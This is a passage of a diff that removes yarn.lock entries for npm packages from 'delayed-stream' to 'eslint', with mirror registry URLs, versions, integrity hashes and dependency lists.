-    rimraf "^2.6.3"
-
-delayed-stream@~1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/delayed-stream/download/delayed-stream-1.0.0.tgz#df3ae199acadfb7d440aaae0b29e2272b24ec619"
-  integrity sha1-3zrhmayt+31ECqrgsp4icrJOxhk=
-
-depd@~1.1.2:
-  version "1.1.2"
-  resolved "https://registry.nlark.com/depd/download/depd-1.1.2.tgz#9bcd52e14c097763e749b274c4346ed2e560b5a9"
-  integrity sha1-m81S4UwJd2PnSbJ0xDRu0uVgtak=
-
-des.js@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/des.js/download/des.js-1.0.1.tgz#5382142e1bdc53f85d86d53e5f4aa7deb91e0843"
-  integrity sha1-U4IULhvcU/hdhtU+X0qn3rkeCEM=
-  dependencies:
-    inherits "^2.0.1"
-    minimalistic-assert "^1.0.0"
-
-destroy@~1.0.4:
-  version "1.0.4"
-  resolved "https://registry.nlark.com/destroy/download/destroy-1.0.4.tgz#978857442c44749e4206613e37946205826abd80"
-  integrity sha1-l4hXRCxEdJ5CBmE+N5RiBYJqvYA=
-
-detect-newline@^2.1.0:
-  version "2.1.0"
-  resolved "https://registry.nlark.com/detect-newline/download/detect-newline-2.1.0.tgz#f41f1c10be4b00e87b5f13da680759f2c5bfd3e2"
-  integrity sha1-9B8cEL5LAOh7XxPaaAdZ8sW/0+I=
-
-detect-node@^2.0.4:
-  version "2.1.0"
-  resolved "https://registry.nlark.com/detect-node/download/detect-node-2.1.0.tgz?cache=0&sync_timestamp=1621146954463&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fdetect-node%2Fdownload%2Fdetect-node-2.1.0.tgz#c9c70775a49c3d03bc2c06d9a73be550f978f8b1"
-  integrity sha1-yccHdaScPQO8LAbZpzvlUPl4+LE=
-
-detect-port-alt@1.1.6:
-  version "1.1.6"
-  resolved "https://registry.npm.taobao.org/detect-port-alt/download/detect-port-alt-1.1.6.tgz#24707deabe932d4a3cf621302027c2b266568275"
-  integrity sha1-JHB96r6TLUo89iEwICfCsmZWgnU=
-  dependencies:
-    address "^1.0.1"
-    debug "^2.6.0"
-
-diff-sequences@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.nlark.com/diff-sequences/download/diff-sequences-24.9.0.tgz?cache=0&sync_timestamp=1621937263741&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fdiff-sequences%2Fdownload%2Fdiff-sequences-24.9.0.tgz#5715d6244e2aa65f48bba0bc972db0b0b11e95b5"
-  integrity sha1-VxXWJE4qpl9Iu6C8ly2wsLEelbU=
-
-diffie-hellman@^5.0.0:
-  version "5.0.3"
-  resolved "https://registry.nlark.com/diffie-hellman/download/diffie-hellman-5.0.3.tgz#40e8ee98f55a2149607146921c63e1ae5f3d2875"
-  integrity sha1-QOjumPVaIUlgcUaSHGPhrl89KHU=
-  dependencies:
-    bn.js "^4.1.0"
-    miller-rabin "^4.0.0"
-    randombytes "^2.0.0"
-
-dir-glob@2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/dir-glob/download/dir-glob-2.0.0.tgz#0b205d2b6aef98238ca286598a8204d29d0a0034"
-  integrity sha1-CyBdK2rvmCOMooZZioIE0p0KADQ=
-  dependencies:
-    arrify "^1.0.1"
-    path-type "^3.0.0"
-
-dns-equal@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.nlark.com/dns-equal/download/dns-equal-1.0.0.tgz#b39e7f1da6eb0a75ba9c17324b34753c47e0654d"
-  integrity sha1-s55/HabrCnW6nBcySzR1PEfgZU0=
-
-dns-packet@^1.3.1:
-  version "1.3.4"
-  resolved "https://registry.nlark.com/dns-packet/download/dns-packet-1.3.4.tgz#e3455065824a2507ba886c55a89963bb107dec6f"
-  integrity sha1-40VQZYJKJQe6iGxVqJljuxB97G8=
-  dependencies:
-    ip "^1.1.0"
-    safe-buffer "^5.0.1"
-
-dns-txt@^2.0.2:
-  version "2.0.2"
-  resolved "https://registry.npm.taobao.org/dns-txt/download/dns-txt-2.0.2.tgz#b91d806f5d27188e4ab3e7d107d881a1cc4642b6"
-  integrity sha1-uR2Ab10nGI5Ks+fRB9iBocxGQrY=
-  dependencies:
-    buffer-indexof "^1.0.0"
-
-doctrine@1.5.0:
-  version "1.5.0"
-  resolved "https://registry.nlark.com/doctrine/download/doctrine-1.5.0.tgz#379dce730f6166f76cefa4e6707a159b02c5a6fa"
-  integrity sha1-N53Ocw9hZvds76TmcHoVmwLFpvo=
-  dependencies:
-    esutils "^2.0.2"
-    isarray "^1.0.0"
-
-doctrine@^2.1.0:
-  version "2.1.0"
-  resolved "https://registry.nlark.com/doctrine/download/doctrine-2.1.0.tgz#5cd01fc101621b42c4cd7f5d1a66243716d3f39d"
-  integrity sha1-XNAfwQFiG0LEzX9dGmYkNxbT850=
-  dependencies:
-    esutils "^2.0.2"
-
-doctrine@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.nlark.com/doctrine/download/doctrine-3.0.0.tgz#addebead72a6574db783639dc87a121773973961"
-  integrity sha1-rd6+rXKmV023g2OdyHoSF3OXOWE=
-  dependencies:
-    esutils "^2.0.2"
-
-dom-accessibility-api@^0.3.0:
-  version "0.3.0"
-  resolved "https://registry.nlark.com/dom-accessibility-api/download/dom-accessibility-api-0.3.0.tgz?cache=0&sync_timestamp=1622712041513&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fdom-accessibility-api%2Fdownload%2Fdom-accessibility-api-0.3.0.tgz#511e5993dd673b97c87ea47dba0e3892f7e0c983"
-  integrity sha1-UR5Zk91nO5fIfqR9ug44kvfgyYM=
-
-dom-accessibility-api@^0.5.6:
-  version "0.5.6"
-  resolved "https://registry.nlark.com/dom-accessibility-api/download/dom-accessibility-api-0.5.6.tgz?cache=0&sync_timestamp=1622712041513&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fdom-accessibility-api%2Fdownload%2Fdom-accessibility-api-0.5.6.tgz#3f5d43b52c7a3bd68b5fb63fa47b4e4c1fdf65a9"
-  integrity sha1-P11DtSx6O9aLX7Y/pHtOTB/fZak=
-
-dom-converter@^0.2.0:
-  version "0.2.0"
-  resolved "https://registry.npm.taobao.org/dom-converter/download/dom-converter-0.2.0.tgz#6721a9daee2e293682955b6afe416771627bb768"
-  integrity sha1-ZyGp2u4uKTaClVtq/kFncWJ7t2g=
-  dependencies:
-    utila "~0.4"
-
-dom-serializer@0:
-  version "0.2.2"
-  resolved "https://registry.nlark.com/dom-serializer/download/dom-serializer-0.2.2.tgz?cache=0&sync_timestamp=1621256830355&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fdom-serializer%2Fdownload%2Fdom-serializer-0.2.2.tgz#1afb81f533717175d478655debc5e332d9f9bb51"
-  integrity sha1-GvuB9TNxcXXUeGVd68XjMtn5u1E=
-  dependencies:
-    domelementtype "^2.0.1"
-    entities "^2.0.0"
-
-dom-serializer@^1.0.1:
-  version "1.3.2"
-  resolved "https://registry.nlark.com/dom-serializer/download/dom-serializer-1.3.2.tgz?cache=0&sync_timestamp=1621256830355&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fdom-serializer%2Fdownload%2Fdom-serializer-1.3.2.tgz#6206437d32ceefaec7161803230c7a20bc1b4d91"
-  integrity sha1-YgZDfTLO767HFhgDIwx6ILwbTZE=
-  dependencies:
-    domelementtype "^2.0.1"
-    domhandler "^4.2.0"
-    entities "^2.0.0"
-
-domain-browser@^1.1.1:
-  version "1.2.0"
-  resolved "https://registry.nlark.com/domain-browser/download/domain-browser-1.2.0.tgz#3d31f50191a6749dd1375a7f522e823d42e54eda"
-  integrity sha1-PTH1AZGmdJ3RN1p/Ui6CPULlTto=
-
-domelementtype@1:
-  version "1.3.1"
-  resolved "https://registry.npm.taobao.org/domelementtype/download/domelementtype-1.3.1.tgz?cache=0&sync_timestamp=1617298554829&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fdomelementtype%2Fdownload%2Fdomelementtype-1.3.1.tgz#d048c44b37b0d10a7f2a3d5fee3f4333d790481f"
-  integrity sha1-0EjESzew0Qp/Kj1f7j9DM9eQSB8=
-
-domelementtype@^2.0.1, domelementtype@^2.2.0:
-  version "2.2.0"
-  resolved "https://registry.npm.taobao.org/domelementtype/download/domelementtype-2.2.0.tgz?cache=0&sync_timestamp=1617298554829&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fdomelementtype%2Fdownload%2Fdomelementtype-2.2.0.tgz#9a0b6c2782ed6a1c7323d42267183df9bd8b1d57"
-  integrity sha1-mgtsJ4LtahxzI9QiZxg9+b2LHVc=
-
-domexception@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.nlark.com/domexception/download/domexception-1.0.1.tgz#937442644ca6a31261ef36e3ec677fe805582c90"
-  integrity sha1-k3RCZEymoxJh7zbj7Gd/6AVYLJA=
-  dependencies:
-    webidl-conversions "^4.0.2"
-
-domhandler@^4.0.0, domhandler@^4.2.0:
-  version "4.2.0"
-  resolved "https://registry.npm.taobao.org/domhandler/download/domhandler-4.2.0.tgz?cache=0&sync_timestamp=1618563954924&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fdomhandler%2Fdownload%2Fdomhandler-4.2.0.tgz#f9768a5f034be60a89a27c2e4d0f74eba0d8b059"
-  integrity sha1-+XaKXwNL5gqJonwuTQ9066DYsFk=
-  dependencies:
-    domelementtype "^2.2.0"
-
-domutils@^1.7.0:
-  version "1.7.0"
-  resolved "https://registry.nlark.com/domutils/download/domutils-1.7.0.tgz#56ea341e834e06e6748af7a1cb25da67ea9f8c2a"
-  integrity sha1-Vuo0HoNOBuZ0ivehyyXaZ+qfjCo=
-  dependencies:
-    dom-serializer "0"
-    domelementtype "1"
-
-domutils@^2.5.2, domutils@^2.6.0:
-  version "2.7.0"
-  resolved "https://registry.nlark.com/domutils/download/domutils-2.7.0.tgz#8ebaf0c41ebafcf55b0b72ec31c56323712c5442"
-  integrity sha1-jrrwxB66/PVbC3LsMcVjI3EsVEI=
-  dependencies:
-    dom-serializer "^1.0.1"
-    domelementtype "^2.2.0"
-    domhandler "^4.2.0"
-
-dot-case@^3.0.4:
-  version "3.0.4"
-  resolved "https://registry.npm.taobao.org/dot-case/download/dot-case-3.0.4.tgz?cache=0&sync_timestamp=1606867327042&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fdot-case%2Fdownload%2Fdot-case-3.0.4.tgz#9b2b670d00a431667a8a75ba29cd1b98809ce751"
-  integrity sha1-mytnDQCkMWZ6inW6Kc0bmICc51E=
-  dependencies:
-    no-case "^3.0.4"
-    tslib "^2.0.3"
-
-dot-prop@^5.2.0:
-  version "5.3.0"
-  resolved "https://registry.nlark.com/dot-prop/download/dot-prop-5.3.0.tgz#90ccce708cd9cd82cc4dc8c3ddd9abdd55b20e88"
-  integrity sha1-kMzOcIzZzYLMTcjD3dmr3VWyDog=
-  dependencies:
-    is-obj "^2.0.0"
-
-dotenv-expand@5.1.0:
-  version "5.1.0"
-  resolved "https://registry.npm.taobao.org/dotenv-expand/download/dotenv-expand-5.1.0.tgz?cache=0&sync_timestamp=1603163578680&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fdotenv-expand%2Fdownload%2Fdotenv-expand-5.1.0.tgz#3fbaf020bfd794884072ea26b1e9791d45a629f0"
-  integrity sha1-P7rwIL/XlIhAcuomsel5HUWmKfA=
-
-dotenv@8.2.0:
-  version "8.2.0"
-  resolved "https://registry.nlark.com/dotenv/download/dotenv-8.2.0.tgz?cache=0&sync_timestamp=1621627076012&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fdotenv%2Fdownload%2Fdotenv-8.2.0.tgz#97e619259ada750eea3e4ea3e26bceea5424b16a"
-  integrity sha1-l+YZJZradQ7qPk6j4mvO6lQksWo=
-
-duplexer@^0.1.1:
-  version "0.1.2"
-  resolved "https://registry.npm.taobao.org/duplexer/download/duplexer-0.1.2.tgz#3abe43aef3835f8ae077d136ddce0f276b0400e6"
-  integrity sha1-Or5DrvODX4rgd9E23c4PJ2sEAOY=
-
-duplexify@^3.4.2, duplexify@^3.6.0:
-  version "3.7.1"
-  resolved "https://registry.nlark.com/duplexify/download/duplexify-3.7.1.tgz#2a4df5317f6ccfd91f86d6fd25d8d8a103b88309"
-  integrity sha1-Kk31MX9sz9kfhtb9JdjYoQO4gwk=
-  dependencies:
-    end-of-stream "^1.0.0"
-    inherits "^2.0.1"
-    readable-stream "^2.0.0"
-    stream-shift "^1.0.0"
-
-ecc-jsbn@~0.1.1:
-  version "0.1.2"
-  resolved "https://registry.npm.taobao.org/ecc-jsbn/download/ecc-jsbn-0.1.2.tgz#3a83a904e54353287874c564b7549386849a98c9"
-  integrity sha1-OoOpBOVDUyh4dMVkt1SThoSamMk=
-  dependencies:
-    jsbn "~0.1.0"
-    safer-buffer "^2.1.0"
-
-ee-first@1.1.1:
-  version "1.1.1"
-  resolved "https://registry.npm.taobao.org/ee-first/download/ee-first-1.1.1.tgz#590c61156b0ae2f4f0255732a158b266bc56b21d"
-  integrity sha1-WQxhFWsK4vTwJVcyoViyZrxWsh0=
-
-electron-to-chromium@^1.3.378, electron-to-chromium@^1.3.723:
-  version "1.3.750"
-  resolved "https://registry.nlark.com/electron-to-chromium/download/electron-to-chromium-1.3.750.tgz?cache=0&sync_timestamp=1623189842602&other_urls=https%3A%2F%2Fregistry.nlark.com%2Felectron-to-chromium%2Fdownload%2Felectron-to-chromium-1.3.750.tgz#7e5ef6f478316b0bd656af5942fe502610e97eaf"
-  integrity sha1-fl729HgxawvWVq9ZQv5QJhDpfq8=
-
-elliptic@^6.5.3:
-  version "6.5.4"
-  resolved "https://registry.npm.taobao.org/elliptic/download/elliptic-6.5.4.tgz#da37cebd31e79a1367e941b592ed1fbebd58abbb"
-  integrity sha1-2jfOvTHnmhNn6UG1ku0fvr1Yq7s=
-  dependencies:
-    bn.js "^4.11.9"
-    brorand "^1.1.0"
-    hash.js "^1.0.0"
-    hmac-drbg "^1.0.1"
-    inherits "^2.0.4"
-    minimalistic-assert "^1.0.1"
-    minimalistic-crypto-utils "^1.0.1"
-
-emoji-regex@^7.0.1, emoji-regex@^7.0.2:
-  version "7.0.3"
-  resolved "https://registry.nlark.com/emoji-regex/download/emoji-regex-7.0.3.tgz#933a04052860c85e83c122479c4748a8e4c72156"
-  integrity sha1-kzoEBShgyF6DwSJHnEdIqOTHIVY=
-
-emoji-regex@^8.0.0:
-  version "8.0.0"
-  resolved "https://registry.nlark.com/emoji-regex/download/emoji-regex-8.0.0.tgz#e818fd69ce5ccfcb404594f842963bf53164cc37"
-  integrity sha1-6Bj9ac5cz8tARZT4QpY79TFkzDc=
-
-emojis-list@^2.0.0:
-  version "2.1.0"
-  resolved "https://registry.npm.taobao.org/emojis-list/download/emojis-list-2.1.0.tgz#4daa4d9db00f9819880c79fa457ae5b09a1fd389"
-  integrity sha1-TapNnbAPmBmIDHn6RXrlsJof04k=
-
-emojis-list@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/emojis-list/download/emojis-list-3.0.0.tgz#5570662046ad29e2e916e71aae260abdff4f6a78"
-  integrity sha1-VXBmIEatKeLpFucariYKvf9Pang=
-
-encodeurl@~1.0.2:
-  version "1.0.2"
-  resolved "https://registry.npm.taobao.org/encodeurl/download/encodeurl-1.0.2.tgz#ad3ff4c86ec2d029322f5a02c3a9a606c95b3f59"
-  integrity sha1-rT/0yG7C0CkyL1oCw6mmBslbP1k=
-
-end-of-stream@^1.0.0, end-of-stream@^1.1.0:
-  version "1.4.4"
-  resolved "https://registry.nlark.com/end-of-stream/download/end-of-stream-1.4.4.tgz#5ae64a5f45057baf3626ec14da0ca5e4b2431eb0"
-  integrity sha1-WuZKX0UFe682JuwU2gyl5LJDHrA=
-  dependencies:
-    once "^1.4.0"
-
-enhanced-resolve@^4.1.0:
-  version "4.5.0"
-  resolved "https://registry.nlark.com/enhanced-resolve/download/enhanced-resolve-4.5.0.tgz?cache=0&sync_timestamp=1620663202047&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fenhanced-resolve%2Fdownload%2Fenhanced-resolve-4.5.0.tgz#2f3cfd84dbe3b487f18f2db2ef1e064a571ca5ec"
-  integrity sha1-Lzz9hNvjtIfxjy2y7x4GSlccpew=
-  dependencies:
-    graceful-fs "^4.1.2"
-    memory-fs "^0.5.0"
-    tapable "^1.0.0"
-
-entities@^2.0.0:
-  version "2.2.0"
-  resolved "https://registry.npm.taobao.org/entities/download/entities-2.2.0.tgz#098dc90ebb83d8dffa089d55256b351d34c4da55"
-  integrity sha1-CY3JDruD2N/6CJ1VJWs1HTTE2lU=
-
-errno@^0.1.3, errno@~0.1.7:
-  version "0.1.8"
-  resolved "https://registry.npm.taobao.org/errno/download/errno-0.1.8.tgz#8bb3e9c7d463be4976ff888f76b4809ebc2e811f"
-  integrity sha1-i7Ppx9Rjvkl2/4iPdrSAnrwugR8=
-  dependencies:
-    prr "~1.0.1"
-
-error-ex@^1.2.0, error-ex@^1.3.1:
-  version "1.3.2"
-  resolved "https://registry.nlark.com/error-ex/download/error-ex-1.3.2.tgz#b4ac40648107fdcdcfae242f428bea8a14d4f1bf"
-  integrity sha1-tKxAZIEH/c3PriQvQovqihTU8b8=
-  dependencies:
-    is-arrayish "^0.2.1"
-
-es-abstract@^1.17.2, es-abstract@^1.18.0-next.1, es-abstract@^1.18.0-next.2, es-abstract@^1.18.2:
-  version "1.18.3"
-  resolved "https://registry.nlark.com/es-abstract/download/es-abstract-1.18.3.tgz?cache=0&sync_timestamp=1622157901871&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fes-abstract%2Fdownload%2Fes-abstract-1.18.3.tgz#25c4c3380a27aa203c44b2b685bba94da31b63e0"
-  integrity sha1-JcTDOAonqiA8RLK2hbupTaMbY+A=
-  dependencies:
-    call-bind "^1.0.2"
-    es-to-primitive "^1.2.1"
-    function-bind "^1.1.1"
-    get-intrinsic "^1.1.1"
-    has "^1.0.3"
-    has-symbols "^1.0.2"
-    is-callable "^1.2.3"
-    is-negative-zero "^2.0.1"
-    is-regex "^1.1.3"
-    is-string "^1.0.6"
-    object-inspect "^1.10.3"
-    object-keys "^1.1.1"
-    object.assign "^4.1.2"
-    string.prototype.trimend "^1.0.4"
-    string.prototype.trimstart "^1.0.4"
-    unbox-primitive "^1.0.1"
-
-es-to-primitive@^1.2.1:
-  version "1.2.1"
-  resolved "https://registry.npm.taobao.org/es-to-primitive/download/es-to-primitive-1.2.1.tgz#e55cd4c9cdc188bcefb03b366c736323fc5c898a"
-  integrity sha1-5VzUyc3BiLzvsDs2bHNjI/xciYo=
-  dependencies:
-    is-callable "^1.1.4"
-    is-date-object "^1.0.1"
-    is-symbol "^1.0.2"
-
-es5-ext@^0.10.35, es5-ext@^0.10.50:
-  version "0.10.53"
-  resolved "https://registry.nlark.com/es5-ext/download/es5-ext-0.10.53.tgz#93c5a3acfdbef275220ad72644ad02ee18368de1"
-  integrity sha1-k8WjrP2+8nUiCtcmRK0C7hg2jeE=
-  dependencies:
-    es6-iterator "~2.0.3"
-    es6-symbol "~3.1.3"
-    next-tick "~1.0.0"
-
-es6-iterator@2.0.3, es6-iterator@~2.0.3:
-  version "2.0.3"
-  resolved "https://registry.nlark.com/es6-iterator/download/es6-iterator-2.0.3.tgz#a7de889141a05a94b0854403b2d0a0fbfa98f3b7"
-  integrity sha1-p96IkUGgWpSwhUQDstCg+/qY87c=
-  dependencies:
-    d "1"
-    es5-ext "^0.10.35"
-    es6-symbol "^3.1.1"
-
-es6-symbol@^3.1.1, es6-symbol@~3.1.3:
-  version "3.1.3"
-  resolved "https://registry.npm.taobao.org/es6-symbol/download/es6-symbol-3.1.3.tgz#bad5d3c1bcdac28269f4cb331e431c78ac705d18"
-  integrity sha1-utXTwbzawoJp9MszHkMceKxwXRg=
-  dependencies:
-    d "^1.0.1"
-    ext "^1.1.2"
-
-escalade@^3.1.1:
-  version "3.1.1"
-  resolved "https://registry.nlark.com/escalade/download/escalade-3.1.1.tgz#d8cfdc7000965c5a0174b4a82eaa5c0552742e40"
-  integrity sha1-2M/ccACWXFoBdLSoLqpcBVJ0LkA=
-
-escape-html@~1.0.3:
-  version "1.0.3"
-  resolved "https://registry.npm.taobao.org/escape-html/download/escape-html-1.0.3.tgz#0258eae4d3d0c0974de1c169188ef0051d1d1988"
-  integrity sha1-Aljq5NPQwJdN4cFpGI7wBR0dGYg=
-
-escape-string-regexp@2.0.0, escape-string-regexp@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.nlark.com/escape-string-regexp/download/escape-string-regexp-2.0.0.tgz#a30304e99daa32e23b2fd20f51babd07cffca344"
-  integrity sha1-owME6Z2qMuI7L9IPUbq9B8/8o0Q=
-
-escape-string-regexp@^1.0.2, escape-string-regexp@^1.0.5:
-  version "1.0.5"
-  resolved "https://registry.nlark.com/escape-string-regexp/download/escape-string-regexp-1.0.5.tgz#1b61c0562190a8dff6ae3bb2cf0200ca130b86d4"
-  integrity sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ=
-
-escodegen@^1.11.0, escodegen@^1.9.1:
-  version "1.14.3"
-  resolved "https://registry.npm.taobao.org/escodegen/download/escodegen-1.14.3.tgz#4e7b81fba61581dc97582ed78cab7f0e8d63f503"
-  integrity sha1-TnuB+6YVgdyXWC7XjKt/Do1j9QM=
-  dependencies:
-    esprima "^4.0.1"
-    estraverse "^4.2.0"
-    esutils "^2.0.2"
-    optionator "^0.8.1"
-  optionalDependencies:
-    source-map "~0.6.1"
-
-eslint-config-react-app@^5.2.1:
-  version "5.2.1"
-  resolved "https://registry.npm.taobao.org/eslint-config-react-app/download/eslint-config-react-app-5.2.1.tgz#698bf7aeee27f0cea0139eaef261c7bf7dd623df"
-  integrity sha1-aYv3ru4n8M6gE56u8mHHv33WI98=
-  dependencies:
-    confusing-browser-globals "^1.0.9"
-
-eslint-import-resolver-node@^0.3.2:
-  version "0.3.4"
-  resolved "https://registry.npm.taobao.org/eslint-import-resolver-node/download/eslint-import-resolver-node-0.3.4.tgz#85ffa81942c25012d8231096ddf679c03042c717"
-  integrity sha1-hf+oGULCUBLYIxCW3fZ5wDBCxxc=
-  dependencies:
-    debug "^2.6.9"
-    resolve "^1.13.1"
-
-eslint-loader@3.0.3:
-  version "3.0.3"
-  resolved "https://registry.npm.taobao.org/eslint-loader/download/eslint-loader-3.0.3.tgz?cache=0&sync_timestamp=1601214436656&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Feslint-loader%2Fdownload%2Feslint-loader-3.0.3.tgz#e018e3d2722381d982b1201adb56819c73b480ca"
-  integrity sha1-4Bjj0nIjgdmCsSAa21aBnHO0gMo=
-  dependencies:
-    fs-extra "^8.1.0"
-    loader-fs-cache "^1.0.2"
-    loader-utils "^1.2.3"
-    object-hash "^2.0.1"
-    schema-utils "^2.6.1"
-
-eslint-module-utils@^2.4.1:
-  version "2.6.1"
-  resolved "https://registry.nlark.com/eslint-module-utils/download/eslint-module-utils-2.6.1.tgz?cache=0&sync_timestamp=1620972183296&other_urls=https%3A%2F%2Fregistry.nlark.com%2Feslint-module-utils%2Fdownload%2Feslint-module-utils-2.6.1.tgz#b51be1e473dd0de1c5ea638e22429c2490ea8233"
-  integrity sha1-tRvh5HPdDeHF6mOOIkKcJJDqgjM=
-  dependencies:
-    debug "^3.2.7"
-    pkg-dir "^2.0.0"
-
-eslint-plugin-flowtype@4.6.0:
-  version "4.6.0"
-  resolved "https://registry.nlark.com/eslint-plugin-flowtype/download/eslint-plugin-flowtype-4.6.0.tgz?cache=0&sync_timestamp=1619186669487&other_urls=https%3A%2F%2Fregistry.nlark.com%2Feslint-plugin-flowtype%2Fdownload%2Feslint-plugin-flowtype-4.6.0.tgz#82b2bd6f21770e0e5deede0228e456cb35308451"
-  integrity sha1-grK9byF3Dg5d7t4CKORWyzUwhFE=
-  dependencies:
-    lodash "^4.17.15"
-
-eslint-plugin-import@2.20.1:
-  version "2.20.1"
-  resolved "https://registry.nlark.com/eslint-plugin-import/download/eslint-plugin-import-2.20.1.tgz#802423196dcb11d9ce8435a5fc02a6d3b46939b3"
-  integrity sha1-gCQjGW3LEdnOhDWl/AKm07RpObM=
-  dependencies:
-    array-includes "^3.0.3"
-    array.prototype.flat "^1.2.1"
-    contains-path "^0.1.0"
-    debug "^2.6.9"
-    doctrine "1.5.0"
-    eslint-import-resolver-node "^0.3.2"
-    eslint-module-utils "^2.4.1"
-    has "^1.0.3"
-    minimatch "^3.0.4"
-    object.values "^1.1.0"
-    read-pkg-up "^2.0.0"
-    resolve "^1.12.0"
-
-eslint-plugin-jsx-a11y@6.2.3:
-  version "6.2.3"
-  resolved "https://registry.npm.taobao.org/eslint-plugin-jsx-a11y/download/eslint-plugin-jsx-a11y-6.2.3.tgz?cache=0&sync_timestamp=1603729216395&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Feslint-plugin-jsx-a11y%2Fdownload%2Feslint-plugin-jsx-a11y-6.2.3.tgz#b872a09d5de51af70a97db1eea7dc933043708aa"
-  integrity sha1-uHKgnV3lGvcKl9se6n3JMwQ3CKo=
-  dependencies:
-    "@babel/runtime" "^7.4.5"
-    aria-query "^3.0.0"
-    array-includes "^3.0.3"
-    ast-types-flow "^0.0.7"
-    axobject-query "^2.0.2"
-    damerau-levenshtein "^1.0.4"
-    emoji-regex "^7.0.2"
-    has "^1.0.3"
-    jsx-ast-utils "^2.2.1"
-
-eslint-plugin-react-hooks@^1.6.1:
-  version "1.7.0"
-  resolved "https://registry.nlark.com/eslint-plugin-react-hooks/download/eslint-plugin-react-hooks-1.7.0.tgz#6210b6d5a37205f0b92858f895a4e827020a7d04"
-  integrity sha1-YhC21aNyBfC5KFj4laToJwIKfQQ=
-
-eslint-plugin-react@7.19.0:
-  version "7.19.0"
-  resolved "https://registry.nlark.com/eslint-plugin-react/download/eslint-plugin-react-7.19.0.tgz?cache=0&sync_timestamp=1622319784610&other_urls=https%3A%2F%2Fregistry.nlark.com%2Feslint-plugin-react%2Fdownload%2Feslint-plugin-react-7.19.0.tgz#6d08f9673628aa69c5559d33489e855d83551666"
-  integrity sha1-bQj5ZzYoqmnFVZ0zSJ6FXYNVFmY=
-  dependencies:
-    array-includes "^3.1.1"
-    doctrine "^2.1.0"
-    has "^1.0.3"
-    jsx-ast-utils "^2.2.3"
-    object.entries "^1.1.1"
-    object.fromentries "^2.0.2"
-    object.values "^1.1.1"
-    prop-types "^15.7.2"
-    resolve "^1.15.1"
-    semver "^6.3.0"
-    string.prototype.matchall "^4.0.2"
-    xregexp "^4.3.0"
-
-eslint-scope@^4.0.3:
-  version "4.0.3"
-  resolved "https://registry.npm.taobao.org/eslint-scope/download/eslint-scope-4.0.3.tgz#ca03833310f6889a3264781aa82e63eb9cfe7848"
-  integrity sha1-ygODMxD2iJoyZHgaqC5j65z+eEg=
-  dependencies:
-    esrecurse "^4.1.0"
-    estraverse "^4.1.1"
-
-eslint-scope@^5.0.0:
-  version "5.1.1"
-  resolved "https://registry.npm.taobao.org/eslint-scope/download/eslint-scope-5.1.1.tgz#e786e59a66cb92b3f6c1fb0d508aab174848f48c"
-  integrity sha1-54blmmbLkrP2wfsNUIqrF0hI9Iw=
-  dependencies:
-    esrecurse "^4.3.0"
-    estraverse "^4.1.1"
-
-eslint-utils@^1.4.3:
-  version "1.4.3"
-  resolved "https://registry.nlark.com/eslint-utils/download/eslint-utils-1.4.3.tgz#74fec7c54d0776b6f67e0251040b5806564e981f"
-  integrity sha1-dP7HxU0Hdrb2fgJRBAtYBlZOmB8=
-  dependencies:
-    eslint-visitor-keys "^1.1.0"
-
-eslint-utils@^2.0.0:
-  version "2.1.0"
-  resolved "https://registry.nlark.com/eslint-utils/download/eslint-utils-2.1.0.tgz#d2de5e03424e707dc10c74068ddedae708741b27"
-  integrity sha1-0t5eA0JOcH3BDHQGjd7a5wh0Gyc=
-  dependencies:
-    eslint-visitor-keys "^1.1.0"
-
-eslint-visitor-keys@^1.0.0, eslint-visitor-keys@^1.1.0:
-  version "1.3.0"
-  resolved "https://registry.nlark.com/eslint-visitor-keys/download/eslint-visitor-keys-1.3.0.tgz#30ebd1ef7c2fdff01c3a4f151044af25fab0523e"
-  integrity sha1-MOvR73wv3/AcOk8VEESvJfqwUj4=
-
-eslint@^6.6.0:
-  version "6.8.0"
-  resolved "https://registry.nlark.com/eslint/download/eslint-6.8.0.tgz?cache=0&sync_timestamp=1622846458936&other_urls=https%3A%2F%2Fregistry.nlark.com%2Feslint%2Fdownload%2Feslint-6.8.0.tgz#62262d6729739f9275723824302fb227c8c93ffb"
-  integrity sha1-YiYtZylzn5J1cjgkMC+yJ8jJP/s=
-  dependencies:
-    "@babel/code-frame" "^7.0.0"
-    ajv "^6.10.0"
-    chalk "^2.1.0"
-    cross-spawn "^6.0.5"
-    debug "^4.0.1"
-    doctrine "^3.0.0"
-    eslint-scope "^5.0.0"
-    eslint-utils "^1.4.3"
-    eslint-visitor-keys "^1.1.0"
-    espree "^6.1.2"
-    esquery "^1.0.1"
-    esutils "^2.0.2"
-    file-entry-cache "^5.0.1"
-    functional-red-black-tree "^1.0.1"
-    glob-parent "^5.0.0"
-    globals "^12.1.0"
-    ignore "^4.0.6"
-    import-fresh "^3.0.0"
-    imurmurhash "^0.1.4"
-    inquirer "^7.0.0"
-    is-glob "^4.0.0"
-    js-yaml "^3.13.1"
-    json-stable-stringify-without-jsonify "^1.0.1"
-    levn "^0.3.0"
-    lodash "^4.17.14"
-    minimatch "^3.0.4"
-    mkdirp "^0.5.1"
-    natural-compare "^1.4.0"
-    optionator "^0.8.3"
-    progress "^2.0.0"
-    regexpp "^2.0.1"
